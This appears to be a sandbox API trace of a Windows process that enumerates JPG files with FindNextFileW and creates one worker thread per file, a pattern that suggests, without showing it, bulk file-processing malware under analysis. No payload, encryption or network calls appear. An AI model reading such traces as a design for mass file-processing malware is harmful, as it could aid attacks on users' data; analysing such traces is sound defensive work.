	[0252.289] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x66188a70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x6873, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0341559.JPG", cAlternateFileName="")) returned 1
	[0252.289] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0252.290] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc29ab0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1fd8
	[0252.292] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0252.292] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56772310, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xa497, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0341561.JPG", cAlternateFileName="")) returned 1
	[0252.292] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0252.293] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc2d190, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1fdc
	[0252.294] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0252.295] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56772310, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1e7b, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0341634.JPG", cAlternateFileName="")) returned 1
	[0252.295] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0252.296] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc33f50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1fe0
	[0252.297] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0252.298] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x66188a70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3615, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0341636.JPG", cAlternateFileName="")) returned 1
	[0252.299] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0252.299] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc37630, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1fe4
	[0252.302] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0252.302] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56772310, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2026, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0341645.JPG", cAlternateFileName="")) returned 1
	[0252.302] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0252.303] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc3ad10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1fe8
	[0252.305] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0252.305] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x66188a70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3df7, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0341653.JPG", cAlternateFileName="")) returned 1
	[0252.305] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0252.306] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc3e3f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1fec
	[0252.307] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0252.308] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x66188a70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3d7f, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0341654.JPG", cAlternateFileName="")) returned 1
	[0252.308] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0252.308] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc608b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1ff0
	[0252.311] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0252.311] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x66188a70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4ec6, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0341738.JPG", cAlternateFileName="")) returned 1
	[0252.311] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0252.312] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc6e430, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1ff4
	[0252.469] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0252.470] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x66188a70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x49ba, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0341742.JPG", cAlternateFileName="")) returned 1
	[0252.470] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0252.471] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc48890, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2020
	[0252.473] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0252.473] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56798470, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x10bdc, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0382836.JPG", cAlternateFileName="")) returned 1
	[0252.473] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0252.474] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc4bf70, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2024
	[0252.476] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0252.477] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56798470, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1ce5a, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0382925.JPG", cAlternateFileName="")) returned 1
	[0252.477] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0252.478] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc4f650, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2028
	[0252.479] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0252.480] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x661aebd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1672c, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0382926.JPG", cAlternateFileName="")) returned 1
	[0252.480] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0252.481] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc52d30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x202c
	[0252.482] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0252.483] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x661aebd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1f86c, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0382927.JPG", cAlternateFileName="")) returned 1
	[0252.483] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0252.483] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc5d1d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2030
	[0252.485] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0252.486] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x661aebd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1b83a, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0382930.JPG", cAlternateFileName="")) returned 1
	[0252.486] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0252.487] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc71b10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2034
	[0252.489] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0252.489] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56798470, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1df43, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0382931.JPG", cAlternateFileName="")) returned 1
	[0252.489] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0252.490] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc751f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2038
	[0252.491] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0252.492] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x661aebd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x184d3, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0382938.JPG", cAlternateFileName="")) returned 1
	[0252.492] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0252.493] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc788d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x203c
	[0252.495] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0252.496] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x661aebd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1aba5, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0382939.JPG", cAlternateFileName="")) returned 1
	[0252.496] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0252.496] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc7bfb0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2040
	[0252.497] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0252.498] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56798470, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1653a, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0382942.JPG", cAlternateFileName="")) returned 1
	[0252.498] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0252.499] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc7f690, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2044
	[0252.501] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0252.502] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x661aebd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x13e1d, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0382944.JPG", cAlternateFileName="")) returned 1
	[0252.502] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0252.503] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc82d70, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2048
	[0256.683] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0256.684] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x661aebd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1531c, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0382947.JPG", cAlternateFileName="")) returned 1
	[0256.684] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0256.685] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc86450, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x204c
	[0256.687] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0256.688] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56798470, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1ad37, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0382948.JPG", cAlternateFileName="")) returned 1
	[0256.688] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0256.689] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc89b30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2050
	[0256.692] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0256.692] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x661aebd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x178d2, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0382950.JPG", cAlternateFileName="")) returned 1
	[0256.693] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0256.693] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc8d210, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2054
	[0256.696] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0256.696] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x661d4d30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x17749, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0382952.JPG", cAlternateFileName="")) returned 1
	[0256.696] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0256.698] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc908f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2058
	[0256.700] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0256.701] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56798470, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x15a7f, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0382954.JPG", cAlternateFileName="")) returned 1
	[0256.702] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0256.703] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc93fd0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x205c
	[0256.705] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0256.706] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56798470, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x15fef, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0382955.JPG", cAlternateFileName="")) returned 1
	[0256.706] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0256.707] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc976b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2060
	[0256.708] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0256.709] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x661d4d30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1a9ed, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0382957.JPG", cAlternateFileName="")) returned 1
	[0256.709] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0256.710] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc9ad90, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2064
	[0256.713] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0256.714] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x661d4d30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x193e7, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0382958.JPG", cAlternateFileName="")) returned 1
	[0256.714] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0256.715] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc9e470, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2068
	[0256.716] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
